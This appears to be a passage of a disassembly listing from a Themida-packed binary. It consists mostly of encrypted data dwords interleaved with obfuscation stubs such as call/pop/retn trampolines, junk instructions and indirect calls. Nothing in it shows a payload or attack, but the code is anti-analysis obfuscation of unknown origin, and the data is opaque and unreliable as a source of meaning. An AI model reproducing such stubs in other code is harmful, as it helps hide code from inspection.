		dd 84BCC57Bh, 293FF092h, 8C2B0105h, 41000000h, 0E01B6180h
		dd 0DC6A8347h, 0FB107449h, 0E62C6964h, 0EF87B9C6h, 3692AAE1h
		dd 6F910E12h, 9ABF8A2Bh, 0AB3455E4h, 73D7E79Eh,	40102B4Fh
		dd 0B5279C0Ch, 6A66CF1h, 0E49999A7h, 0E659255h,	45404C13h
		dd 3756D135h, 4CC6427Ah, 0FA3E6D9Fh, 0FE0D7B8Ah, 0CFB86EB1h
		dd 6961E54Fh, 81B9F416h, 66C0D706h, 5DDAF187h, 45F55F02h
		dd 404C138Eh, 88D13545h, 41B95FB9h, 44387391h, 0A93632C0h
		dd 38FCE09Bh, 960F3C43h, 0B3EE1966h, 8083858Fh,	99E01B61h
		dd 0CDFE3467h, 0DBB33D60h, 99067149h, 55EA72AAh, 9BEF2529h
		dd 0C6F887B7h, 0B2D453D7h, 0F862C3FBh, 0E1972841h, 9EA0DF36h
		dd 8ABC2BEFh, 6664FB13h, 0CC5C6FDDh, 5B7F24AEh,	1E75A423h
		dd 534A7C03h, 6F5D2D3Bh, 86CFD1FEh, 0C9FB9062h,	96ABB9D2h
		dd 215BA7BBh, 0DF48080Ah, 0FCCEFEADh, 0Ah, 0D7F48B7Ah
		dd 0E82AAEDEh, 6767DAD8h, 497B0434h, 29253A52h,	4015E6Eh
		dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h
		dd 531F2757h, 0C381E389h, 4, 8704EB83h,	248B241Ch, 104A6824h
		dd 1C890000h, 6EC96824h, 34890000h, 21DA6824h, 4890000h
		dd 1A51B824h, 0E8C101EDh, 1BA80D08h, 0D6055F5Eh, 89A6BAE0h
		dd 8B5458C3h, 0C4832434h, 4EC8304h, 0B9240C89h,	8, 1989F101h
		dd 2434FF59h, 4C4815Eh,	8B000000h, 8952241Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 9ADEE95Ch, 0B7A2FFF9h, 6AA5D88Eh
		dd 1AE587B8h, 0FFC50306h, 0A27CA3E0h, 0E20D4F66h, 9367A17Bh
		dd 1A512D22h, 0B74AEA50h, 0B174C334h, 5C16316h,	0B823A12Ah
		dd 97057936h, 0A82C2833h, 6D73C26Bh, 0A5102F2Eh, 1DC4A217h
		dd 0B8964963h, 0A28CF81Dh, 0FE8D8D01h, 0E8061AE6h, 0Ah
		dd 9BAE986h, 0BE6F1F0Fh, 0BE95696h, 0FF000000h,	0EFE606E6h
		dd 404118Ch, 895FABC9h,	142B698Dh, 0D59D0306h, 0C7061425h
		dd 14105585h, 6A4406h, 38F0F00h, 80000000h, 85C7E9E2h
		dd 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5EC243
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC243	proc near		; CODE XREF: Themida_:005EC23Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5EC243	endp

; ---------------------------------------------------------------------------
		dec	esi
		fisttp	dword ptr [ebp+ebx*8-59D5B315h]
		mov	esp, 89B5FF08h
		and	edx, [esi+eax]
		push	0
		push	ebp
		call	sub_5EC26E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC26E	proc near		; CODE XREF: Themida_:005EC266p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5EC26E	endp

; ---------------------------------------------------------------------------
		dw 3374h
		dd 4B64B98Dh, 0FFCDE04Bh, 140BD995h, 858D3106h,	6A061419h
		dd 7195FF00h, 8B061429h, 801CEBC0h, 0C55A1688h,	688E87E0h
		dd 4599C878h, 0FDF12EFBh, 189387ABh, 342259E6h,	0E90C7728h
		dd 39h,	35F3DE83h, 0Dh dup(0)
		dd 4CDE900h, 0A9680000h, 0E9061AE8h, 0FFF99974h, 1AE91068h
		dd 996AE906h, 6C68FFF9h, 0E9061AEAh, 0FFF99960h, 70B4E7E7h
		dd 63A7D6F7h, 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h
		dd 0E4E17E82h, 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0EA75F742h
		dd 64C70C55h, 9CACE7E5h, 6770FA38h, 7A053568h, 0BAD15548h
		dd 0DDEDA8A3h, 0E203BB79h, 0AD0A6596h, 53F0929Eh, 0C0E33115h
		dd 0DC658B67h, 0A0D8BC49h, 661F2C33h, 0B520F256h, 55E4858Ah
		dd 0DB233168h, 0B9881527h, 3A55E482h, 3863C056h, 0FA11FE34h
		dd 0A97A32F8h, 62F48C8Bh, 9826C925h, 60F8B973h,	0E9F7888Eh
		dd 307582Bh, 97ED0000h,	3E7F3F39h, 55E45603h, 0C6ABC80h
		dd 6DD75DEBh, 5EAF591Eh, 6294112Ah, 0BC49DC6Bh,	0EA189EADh
		dd 7D858FB3h, 689D43EBh, 0FF0C13DBh, 0E4B883BEh, 183C0055h
		dd 1FC60021h, 92735619h, 86B6F11Dh, 40ED1E02h, 4AA5FECAh
		dd 5C14272Bh, 62D0A0Eh,	46145322h, 0BD732DC3h, 64DCE82Ah
		dd 5BC4F785h, 40511832h, 51E1E37Ah, 0C94D7D30h,	0F63195A5h
		dd 2858DAD7h, 36481724h, 2224C347h, 1300337Ch, 0BF835C51h
		dd 0ADE4949Bh, 2C9C5F8Ch, 2EF1Eh, 0C3BECE00h, 0EE9FA03Fh
		dd 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh,	0A03FC3BEh
		dd 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 7AB2812Eh,	823155EAh
		dd 1B61801Eh, 192875E0h, 9A53F092h, 0E2437CB6h,	49DBB573h
		dd 0E8778488h, 0C760A4D9h, 4A5D5C8h, 55EA7538h,	255877F6h
		dd 9F0E30EFh, 1347F298h, 0C1E8E69h, 288h, 0E0245777h, 0D3574647h
		dd 0B87C3954h, 0A66A212Fh, 93970A39h, 6F9E2408h, 5471EE32h
		dd 3E4AD559h, 1E20BF43h, 73CEAB6Fh, 0EA7B0732h,	4D779C55h
		dd 0E01B6180h, 0DBB5D047h, 17272B49h, 0EA75B796h, 638A5555h
		dd 61D05DC8h, 0E255EA75h, 26F4949Eh, 0B08BAF70h, 1B5h
		dd 0FEF68FC5h, 0C1C964DFh, 14FEBA55h, 6BA9CD6Dh, 216567E1h
		dd 6B722F5Ah, 53F092D8h, 0AFDFCEF0h, 0CFF3572Bh, 0EF9EA0BFh
		dd 0FE8A5B2Bh, 63AE60CDh, 790049DCh, 0AADE5447h, 281796A6h
		dd 0CA55E483h, 77688D7h, 0E79D93F7h, 0C9AAD4BFh, 0B3DAA173h
		dd 0A92879A7h, 32058Bh,	80930000h, 47E01B61h, 49DC6CD7h
		dd 0FAB1DF28h, 2A2246C2h, 0E49CB48Bh, 60B75655h, 0A89ACC12h
		dd 7EBF2A8Bh, 55E490C3h, 0D1A5E0EBh, 0E4C4A76Dh, 0D0000000h
		dd 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 385C2053h, 43517C03h
		dd 0F09257E2h, 4468EC53h, 6242D034h, 3748EE1Dh,	55D23646h
		dd 27577B36h, 47772658h, 5A6C0638h, 0B2FB3F23h,	53F097EDh
		dd 732E5A21h, 5ED8EAA1h, 3A517530h, 5C6C2723h, 0D7E3AF8h
		dd 97261592h, 0D9BD53F0h, 0F682635Bh, 0F2A458C5h, 0A9AD49DFh
		dd 0C1BCCB92h, 0EEA3A23Dh, 17848D29h, 0E5B72769h, 12Ch
		dd 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh
		dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh
		dd 0EA788B46h, 0C1CB0855h, 6356867h, 321A684Eh,	0DF849A17h
		dd 0FEBA7842h, 0A695128Dh, 3D53F0E9h, 0E952E14Eh, 6DD153F0h
		dd 0F214CB49h, 0CBF980BBh, 0E59642D0h, 0E91E2D8Ah, 4A9553F0h
		dd 0CD49413Ch, 67E16BA9h, 79063665h, 0B0D05447h, 5C8DD951h
		dd 7883ABA6h, 0DFEF9EAFh, 0FB24577Bh, 49DC9845h, 0A2911E89h
		dd 2155E590h, 0AF93D75Dh, 0C3BECD9Ch, 90CF7E3Fh, 7C0355E5h
		dd 0EDD574Eh, 0E27D81FCh, 8C9EAEE3h, 7Ch, 1B61802Ah, 0B5D447E0h
		dd 0D92F49DBh, 0A56C3DC7h, 910C3DB9h, 0D5F91D79h, 0F5A8DAA5h
		dd 7FCA6BC6h, 0F455EA01h, 0A5D68290h, 0BAFBA9A6h, 55EA018Fh
		dd 161C0004h, 24544779h, 0E796A8B7h, 34A173D7h,	0A193D278h
		dd 205FB661h, 3CAB6F1Eh, 0E47B930Ah, 389FAFE6h,	7193B2D9h
		dd 0A4C8C3C1h, 0BA95C197h, 5914F8BEh, 1D6C1FDBh, 0AD62B0EBh
		dd 0B3EA1B9Bh, 0E31B3F9Bh, 3D1h, 0A68C5F00h, 4346767h
		dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh,	0C3FBB6D5h
		dd 0E7178EBCh, 18306D98h, 27574647h, 5124681Fh,	14890000h
		dd 3D426824h, 0C890000h, 44076824h, 1C890000h, 4EC8324h
		dd 0B8240489h, 61AE780h, 5458C189h, 81241C8Bh, 4C4h, 4EC8300h
		dd 89240489h, 84389C8h,	241C8B58h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 51240C8Bh, 0C181E189h, 4,	8704C183h, 0E95C240Ch
		dd 0FFF994BCh, 0BCF13FBDh, 0F875DBDDh, 0B8E38C81h, 61AEBBDh
		dd 0E0FFC503h, 388ECBF4h, 141567F2h, 211F1ED1h,	3112C9C5h
		dd 471C3D55h, 1F59CED6h, 4C44609Bh, 66C2C6ECh, 5C770578h
		dd 3881DD7Ch, 359C9FB2h, 29E62E21h, 649814E8h, 39E9h, 840D0400h
		dd 56h,	0Ch dup(0)
		dd 0ECE90000h, 6800000Ah, 61AEDFEh, 0FA56D4E9h,	0EF0768FFh
		dd 0CAE9061Ah, 68FFFA56h, 61AF124h, 0FA56C0E9h,	0F1DE68FFh
		dd 0B6E9061Ah, 68FFFA56h, 61AF371h, 0FA56ACE9h,	0F50B68FFh
		dd 0A2E9061Ah, 68FFFA56h, 61AF5EAh, 0FA5698E9h,	0E03F93FFh
		dd 4FDE35B3h, 2885C818h, 0F12C6DFBh, 59D20242h,	5906C72Ah
		dd 0F10FA4F7h, 95D3009Bh, 2CBCEB42h, 6C02B1EEh,	6DEFD5EDh
		dd 0BBB33982h, 0FB386636h, 77ACEA82h, 30336CC0h, 921C2D55h
		dd 3CAE3573h, 91EFD149h, 59FD397Bh, 3EB1FE05h, 366B8D54h
		dd 8E000000h, 35D8D98Ah, 8B2EBD0Ah, 541275Fh, 97413368h
		dd 2D4ACB65h, 1B029DF3h, 14D9E969h, 0AE357414h,	0EFD1493Ch
		dd 0FD397C0Bh, 0B1FE0559h, 6B8D549Ch, 0CDh, 0FB38668Eh
		dd 71AAEA82h, 0DBBF8F0Ch, 0A13955DBh, 0F727C141h, 6BABC5B8h
		dd 87A79F34h, 7336851h,	0DD2B58D7h, 0DE3F267Dh,	16DAFC60h
		dd 304E2EC2h, 95D74EDFh, 0EFEC9FADh, 79DF416Eh,	39222226h
		dd 59357415h, 6B0478AFh, 21D5ED68h, 0E53B858Bh,	0DBFF227h
		dd 0C813E300h, 2267B098h, 60467CD9h, 20336A5Ch,	454D2B6h
		dd 0D137CABh, 29F753CAh, 1E0FB4E7h, 2026A89Fh, 8BC65B5h
		dd 36980000h, 0D53A4AF9h, 7CD12F44h, 2372F221h,	0C90B598Eh
		dd 71BE2156h, 6BDEE2Eh,	0EA1992C6h, 0B3E0399Ah,	194EE535h
		dd 0F8DEE465h, 8839826Eh, 366639A4h, 0E03E4EE5h, 0FB5AC243h
		dd 0E06DA2A6h, 27A94F12h, 0FC021C4Dh, 33683716h, 0CA4EF86Ah
		dd 0DAD98A0Fh, 7EEC5A7Bh, 0DEBE9C62h, 0E5AADABEh, 0FD35740Fh
		dd 0CAB3EE2Fh, 81F96C9Eh, 397C0F9Fh, 5BB06CADh,	29295BC2h
		dd 5AAB185h, 0B78D54A1h, 0E2h, 0FB38663Ah, 71AAEA82h, 8676960Ch
		dd 0E8363367h, 0C07CCA4Bh, 4798FA3Ch, 0FA43B49Ch, 0C9BCED22h
		dd 0F24C3248h, 0BA543367h, 0C01E0808h, 7C9DFA63h, 473E6FA0h
		dd 0F23B2105h, 95473367h, 94A89079h, 147C7E8Ch,	0D7B6B5E6h
		dd 73B0C6AFh, 2B2AC435h, 0DB0BA2F5h, 66DE2A9Ah,	49BE9A5Dh
		dd 0DB3A76C4h, 7DC96B04h, 0B7B4E715h, 870FB0D6h, 0E1933B85h
		dd 0EB58B864h, 90C771A8h, 68AF0050h, 26A8B54Dh,	0B376A411h
		dd 61000007h, 341F62Dh,	0A6265DCCh, 7B893E73h, 1050871Ah
		dd 0B5386FC0h, 4AE53768h, 1689CF1Dh, 0F93063E1h, 47DC3A4Ah
		dd 0E71F7E10h, 39827101h, 9920AD81h, 56F4AEA9h,	40C9900h
		dd 74DBA1Ah, 6DF3B194h,	0DC8CF12Ch, 140875A2h, 9D1240C1h
		dd 543A3363h, 9194BB8Eh, 882777B1h, 38665E5Bh, 51829AFBh
		dd 232765D8h, 950C4A22h, 3D12E56Ah, 6A99CB77h, 0EC2C15E5h
		dd 0C09094D0h, 7F2D108Dh, 43745CDh, 0B8E60607h,	0C8FE1F7Bh
		dd 3573C7BFh, 0F7286CB0h, 0A476D28Eh, 0DD3D53CAh, 0F2C1146h
		dd 7BC911F7h, 63E79139h, 7FDE5585h, 0C842285Eh,	0AC5E397Bh
		dd 64259DA4h, 6ABA35E9h, 0F38DF029h, 0C0A6DCA2h, 0C0B4B9E5h
		dd 1281E416h, 6483DE70h, 78B3E53Bh, 0A3E27418h,	79873C73h
		dd 2BA39A19h, 0B4B9E54Ah, 0B2AB0454h, 3D2079DAh, 4645860Dh
		dd 2494323h, 277796A8h,	0D9315E88h, 3465BB85h, 4F8F99F9h
		dd 0F525A3D0h, 424FC7BEh, 814DEB66h, 0BE1C2D01h, 99A68CB2h
		dd 8FAB214h, 0FB5BA9DEh, 1043C1A4h, 770C3213h, 0F8B420A6h
		dd 0D798EF0Ah, 0D0040BE6h, 0F7252D5Fh, 9161EE05h, 316285Eh
		dd 738989E4h, 2542C3C0h, 3F1B96FBh, 2D7AEA07h, 0BE12A8AEh
		dd 0F4DAE06Dh, 8CB2157Ch, 45BDA0D2h, 0B2157C64h, 4992A468h
		dd 5EE2A24h, 38194h, 256BB500h,	71D1938Ah, 13D2C1E4h, 81E6CCF2h
		dd 0C8BA3367h, 2E013248h, 9DCFB6EBh, 43DCE263h,	0C735738Ah
		dd 0A3F42815h, 0F151130Ah, 5BCD6FC7h, 50AEB87Dh, 6CE18B91h
		dd 0ACDEBA01h, 7495F0F3h, 4F3667A8h, 880D351Dh,	1ABC8E20h
		dd 0E033ED68h, 5BB8C949h, 0EC84ACEBh, 42789471h, 0B475855Ch
		dd 0EC184A24h, 775A1540h, 6795FD5Dh, 4AB13534h,	4428A21Bh
		dd 0A1DBC1F9h, 35A7B475h, 3162BA9Bh, 0FF2986D4h, 3C4C729Bh
		dd 0C0B67F1Ah, 0A9E93716h, 0AC70DD0Ah, 0CA4B326Bh, 80D9CEB4h
		dd 0F620D2BAh, 0E9469492h, 922225AAh, 0AE6CD99Fh, 596h
		dd 64931042h, 0C97EAFE4h, 0ACDB56BBh, 73A0FD5Ch, 0DB08A3F5h
		dd 0C8085790h, 6CA02057h, 13448433h, 0BF1F6D9Ah, 3A1B3360h
		dd 82721E04h, 78A6239h,	7BDAD98Ah, 128FC25Ah, 7620FE2h
		dd 19799975h, 7450E0E9h, 8DF06235h, 190CA3F3h, 0EB4618BAh
		dd 0A4DABBB8h, 3B88559Bh, 0D6164D3Fh, 0F22A2B88h, 6B190C9Dh
		dd 5886D6EFh, 0D73B62DBh, 93104E7Fh, 0DB91DE64h, 570B8740h
		dd 0AE000002h, 0A2F6D98Ah, 487EDF09h, 357D6DB3h, 6DCC4EBCh
		dd 0ACF5B802h, 0B98476A4h, 4DFA3567h, 0DB42DD3Fh, 0B2815463h
		dd 0D6EC0DD2h, 2D4D7EF0h, 0A442C6B0h, 4B9A3976h, 0BF2CC57Dh
		dd 4DC8846h, 56B80000h,	0F55AAAD9h, 9CF10FA4h, 4392D201h
		dd 0E92BB9EEh, 11DE01B6h, 669D0E4Eh, 0CA79B2E6h, 93C059BAh
		dd 79AE0555h, 0D8BEC445h, 0A8398272h, 0D98AD944h, 0AE437BDAh
		dd 54357D6Dh, 6DADC3BAh, 13438136h, 87D7A99Ch, 806A3528h
		dd 0F34360AEh, 199F79A9h, 8B71D5F5h, 17398269h,	0D3031D65h
		dd 5E821D70h, 5FDA08A8h, 97D548FAh, 0D4041865h,	708FF5Bh
		dd 1A7BB219h, 8193FEE4h, 70D08239h, 5A24DF8Ch, 190598Dh
		dd 0AC700000h, 0E2D03467h, 88D5AC7Ah, 0DDA5E75Eh, 0FB386610h
		dd 0C90B1582h, 0D5BDEF56h, 0A9940B4Bh, 818C7288h, 7A143367h
		dd 437291Eh, 0EF000607h, 93357391h, 24067CE1h, 2A397B91h
		dd 90DA3DE3h, 7B91846Ah, 30621C39h, 8AC11F4Dh, 0BB933713h
		dd 543EFBB0h, 4EBD8Dh, 8A300000h, 437BDAD9h, 35738F7Eh
		dd 1BEB6A04h, 7CF3CCF5h, 9C6A4C9Fh, 158FFBE0h, 898D4BFBh
		dd 63D4E7CBh, 8668DEE7h, 16397C49h, 9A1979C6h, 359BF568h
		dd 0D63364FAh, 77352881h, 0ED1560C5h, 10840459h, 0DA78353Eh
		dd 9F208D54h, 0B5000000h, 82FB3866h, 0C71AAEAh,	0EC3F918Fh
		dd 0C75CBA64h, 53D00E5Eh, 86224224h, 0B4E23367h, 3B54C87Fh
		dd 0A4ED5D38h, 9087F833h, 7A80A9A9h, 3571622Bh,	0BBD8A557h
		dd 87FE3565h, 71A37DC5h, 0B684893Eh, 54A8A04h, 846A90FCh
		dd 1C397DF5h, 15843062h, 4A63C5C5h, 3F918F8Bh, 5C2EA7ECh
		dd 85F02095h, 34955h, 6CC31700h, 0CB62A937h, 94094C9Ch
		dd 7DB0E17Fh, 0C55686C6h, 0DD8243AEh, 75F3207Bh, 9578C1Fh
		dd 0A02057C6h, 0E8863D72h, 746B5169h, 3F373982h, 0E53666B2h
		dd 43E03E4Eh, 78998714h, 67815C42h, 344A2433h, 5AC44CE1h
		dd 0AEBEA7FCh, 60BF1F70h, 0FCAF8136h, 0D3689EFFh, 6F35738Eh
		dd 2E1288FDh, 4F397B90h, 41DA3EEEh, 14095DC1h, 31D787Bh
		dd 0B8E85DCCh, 0F489B1D8h, 7D3B879Dh, 4A336EA3h, 76E03A1Eh
		dd 8799D0C1h, 2163DA55h, 1897C721h, 940B4B25h, 8E2177A9h
		dd 0A8DBB58Ah, 8394AAABh, 7357392h, 0F13DF57h, 0BDEF56C9h
		dd 21D43101h, 479696F7h, 0C6576EEAh, 0E9BBA1D9h, 15C7397Bh
		dd 0E933152Dh, 1039397Bh, 0EA53CC0Ch, 2036DABEh, 549696DBh
		dd 2C068Dh, 8AAB0000h, 437BDAD9h, 35738F7Eh, 7BF36A04h
		dd 397B8F99h, 105BF3A7h, 8D54215Bh, 0ECDDh, 0E30EFC00h
		dd 2E85D50Fh, 8B37B5FEh, 3866C28Fh, 0AAEA82FBh,	22700C71h
		dd 399C808Dh, 47C381E4h, 9FF02E3Eh, 1EB5E73Ah, 67860828h
		dd 0E53A9833h, 7CA0C14Eh, 0E99B821Bh, 67858F75h, 0E1611333h
		dd 735AD707h, 6745F3E1h, 0E25EC771h, 0ABD3B2B1h, 3573AE9Ah
		dd 0BEDFBE28h, 7BADA288h, 0EB20FE39h, 0CF0000B2h, 2421225Dh
		dd 8552D51Eh, 3A1BF53Bh, 72AAB2E2h, 0B49A821Fh,	0CC336A0Ch
		dd 35B3E012h, 0F93664E3h, 9EF1784h, 99336A0Dh, 0AAD0BDEFh
		dd 336A0CC4h, 53F022DCh, 26A8EF30h, 0AF73A312h,	6D000001h
		dd 0F5D8A29h, 0A22251C8h, 4785326Fh, 1C6C9B16h,	0A93463BCh
		dd 4EE1336Ch, 2A85CB19h, 0FD2C6FFDh, 5BD80646h,	0EB13722Ch
		dd 39827705h, 6614999Dh, 0C14EE536h, 0A7A3FE5Fh, 0BB9A1979h
		dd 88FD3065h, 868778D8h, 9FFB3866h, 0DAD98AD2h,	8F7E437Bh
		dd 6A043573h, 8F997BF3h, 76A7397Bh, 49C962B6h, 0BF8F91A5h
		dd 55171899h, 9B8D3972h, 2A3DB11Dh, 4A98DF5h, 0B48D54AEh
		dd 9Bh,	0FB386639h, 71AAEA82h, 8676960Ch, 79C93367h, 30FF4CB5h
		dd 1806022Dh, 0BECE65BAh, 0FD5AC360h, 0D4BCF323h, 97F6F5A6h
		dd 74125E6Fh, 0C572EC35h, 5A3B386Bh, 856D7824h,	0DC31EF3Bh
		dd 0B92BC141h, 6D4FBFDCh, 0EC4FE3FEh, 0EF21FF5Bh, 0E60607BCh
		dd 1E7AB7h, 0CB385FD0h,	7F26A88Fh, 0D0C806h, 4A8C0000h
		dd 0E92EBED5h, 90C503B0h, 3766E61Dh, 0DD3F4DFAh, 0DCA1542h
		dd 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh, 0DBAF959h, 0E4CAF051h
		dd 0BC398276h, 366635B8h, 0E03E4EE5h, 66871443h, 1582FB38h
		dd 0F151C80Bh, 1B48E737h, 39ADC432h, 2AB4413Dh,	687F2E14h
		dd 56807233h, 0AEAFD8F2h, 0B1C87656h, 64E11339h, 7E62CD5Eh
		dd 9A837D35h, 0E61C3Dh,	8039819Bh, 66B472D6h, 0C4A9AC9h
		dd 21AE97h, 819A14FAh, 19216C39h, 39819A33h, 0E7639D4Fh
		dd 138DF9DFh, 0E0769C6Ah, 1C8DCE5Eh, 11F7B29h, 0A72552D1h
		dd 2B453877h, 43CEB7EAh, 207E8FA7h, 0CAEB5483h,	0EC6DCEB4h
		dd 2020D289h, 221B98C6h, 0F1286BB5h, 91F42B6Bh,	31777D3h
		dd 9A000000h, 3466BB86h, 0A8F686FFh, 197A120Bh,	8DC39D80h
		dd 3552B12h, 79DBB5A8h,	0F0213F26h, 61B4C8BDh, 0D00759CCh
		dd 83B3E459h, 48904ECh,	0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 6856241Ch, 1861697Bh, 0E681465Eh,	50FF0D3Ah
		dd 30ACF681h, 0F5896839h, 0E6C5815Eh, 8117F61Ch, 775FE7CDh
		dd 0ED814575h, 39AD3329h, 17A7C581h, 0C581665Ch, 0E3ECA877h
		dd 5E1968h, 24248900h, 4240483h, 8BA525Bh, 1000000h, 8B2A89DAh
		dd 0C4812414h, 4, 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 2C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0FA4BF8E9h, 3203F9FFh, 0B8E96AE0h, 61AF6DFh,	0E0FFC503h
		dd 70C312D5h, 30EB5EC6h, 350A2AE1h, 6705536Fh, 2D554660h
		dd 51ABA7FEh, 4F058BF8h, 799AE1C0h, 122DFD84h, 231F7237h
		dd 77801D63h, 1D11B735h, 4BAA2F97h, 431A9907h, 30537F91h
		dd 1C4EB3FFh, 63817DABh, 0C9FE3B9h, 334D9E5Ah, 50DFD9DEh
		dd 5AA71506h, 3FA925AEh, 7A78C645h, 0F8FB8D8Dh,	6A061Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 66CA3AC3h, 7E98D89h,	8E0F0614h, 6, 13599523h, 8D890614h
		dd 6142B69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0C4C35545h, 512B1DBEh, 85C78CB2h, 6141055h, 6080h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h
		dd 895F5304h, 14087585h, 3D85C706h, 61401h, 0F000000h
		dd 683h, 41B58B00h, 0FF06140Eh,	14129DB5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 5FE58F18h, 3FC6FB5Dh, 6E840h, 0F0C30000h, 8988D96Ah
		dd 71BD8960h, 66061408h, 1147E181h, 66575861h, 0FF5BF28Bh
		dd 140BD995h, 0C7BF0F06h, 95FF006Ah, 6142971h, 2CEBC08Bh
		dd 0F819C7F2h, 5CEA5CD5h, 4AC343F1h, 86763347h,	93A34624h
		dd 619E5414h, 377A5C85h, 9B619C89h, 0FFBBAB91h,	69E1F855h
		dd 97ECA8E1h, 0EE8h, 0E1738100h, 6A4D5212h, 4E74FF94h
		dd 8B9A7C20h, 5E958D3h,	0B2000000h, 81E6505Dh, 6062C081h
		dd 8D8B0000h, 6142059h,	0C88BFF33h, 8B381C8Bh, 140BB98Dh
		dd 9BF38106h, 0E86F24F7h, 13h, 0C9DE27C3h, 0CA433FDh, 0DFF6ACEAh
		dd 0B1F19AF2h, 89139675h, 140F019Dh, 0EB815A06h, 1B9F2B01h
		dd 0EF59589h, 0C3810614h, 316E1F83h, 0C2E18166h, 8D8B53C1h
		dd 6142021h, 0F38048Fh,	281h, 9C4B100h,	1402B5BDh, 0ECEF8106h
		dd 0E8214E11h, 9, 0CD94700Fh, 7DDA899Dh, 0F5B52BB4h, 5906140Ch
		dd 11E8C781h, 81F5214Eh, 0FFA088FFh, 1A850FFFh,	60000000h
		dd 421B589h, 8D290614h,	6142E19h, 25E961h, 5C670000h, 0FE906DDCh
		dd 0D58D8BA8h, 0E9061430h, 0FFFFFF50h, 20980B8Ah, 0CE2A4426h
		dd 7D5D012Dh, 0BCDFE0ADh, 8DD45533h, 1AFA6E8Dh,	698D8906h
		dd 8B06142Bh, 140B059Dh, 5585C706h, 8C061410h, 1000060h
		dd 14123DBDh, 85C7F806h, 614013Dh, 0
; ---------------------------------------------------------------------------
		mov	bx, 0B88Ch
		push	dword ptr [ebp+6142501h]
		xor	di, 0EC2Fh
		call	dword ptr [ebp+6140BD9h]
		mov	ebx, [ebp+6142F31h]
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5ED68C
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0F2C82B6Eh, 661F105Dh, 0F181D7F0h, 3B4C0ACEh, 111CB279h
		dd 0D5F41BF4h, 96CEC5B0h, 6255C966h, 9E657Fh, 3B4A3F70h
		dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 70B35397h, 74B201C8h
		dd 0AB09FE53h, 0A71414D3h, 175D23C6h, 0A115614Eh, 8876EDBBh
		dd 0FE855B3Ch, 3CB9F54Bh, 221F6C1Ah, 0B7F1080Ah, 0C16F4817h
		dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h
		dd 653726E5h
; ---------------------------------------------------------------------------


loc_5ED68C:				; CODE XREF: Themida_:005ED60Dj
		lea	ecx, [ebp+61AFBAEh]
		push	0
		push	edx
		call	sub_5ED69D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED69D	proc near		; CODE XREF: Themida_:005ED695p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5ED69D	endp

; ---------------------------------------------------------------------------
		rcl	dword ptr es:[ecx+2E75D901h], 1
		mov	ecx, [ecx+142A31BDh]
		push	es
		mov	[ebp+6142B69h],	ecx
		mov	dl, 6Eh
		mov	dword ptr [ebp+6141055h], 5940h
		or	esi, 47F65AD1h
		mov	dword ptr [ebp+614013Dh], 0
		movsx	edx, cx
		push	dword ptr [ebp+614080Dh]
		push	0
		push	ecx
		call	sub_5ED6F1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED6F1	proc near		; CODE XREF: Themida_:005ED6E9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5ED6F1	endp

; ---------------------------------------------------------------------------
		db 42h,	78h, 42h
		dd 0AE891h, 90000h, 31D7E0F5h, 0CBF29632h, 0E85BF08Bh
		dd 10h,	9540912Eh, 0D5553A4Bh, 41F1CA37h, 9F280C22h, 7832BA66h
		dd 0D995FF5Ah, 8906140Bh, 142AAD9Dh, 85852B06h,	6A06141Eh
		dd 7195FF00h, 8B061429h, 0D378EBC0h, 61978FDAh,	0BAE0623Ch
		dd 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh, 3A6BB97Ah
		dd 197E4175h, 5004EDB1h, 5AB5EA67h, 0D28146A2h,	4BE24048h
		dd 34FE8419h, 236542C4h, 0BB76DE8Ah, 0C8927E18h, 637D83D3h
		dd 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 1A995766h, 9A483CA7h
		dd 0CB1B6DFh, 0B2652B61h, 0B8FC4550h, 9D307FC7h, 5924EF4Eh
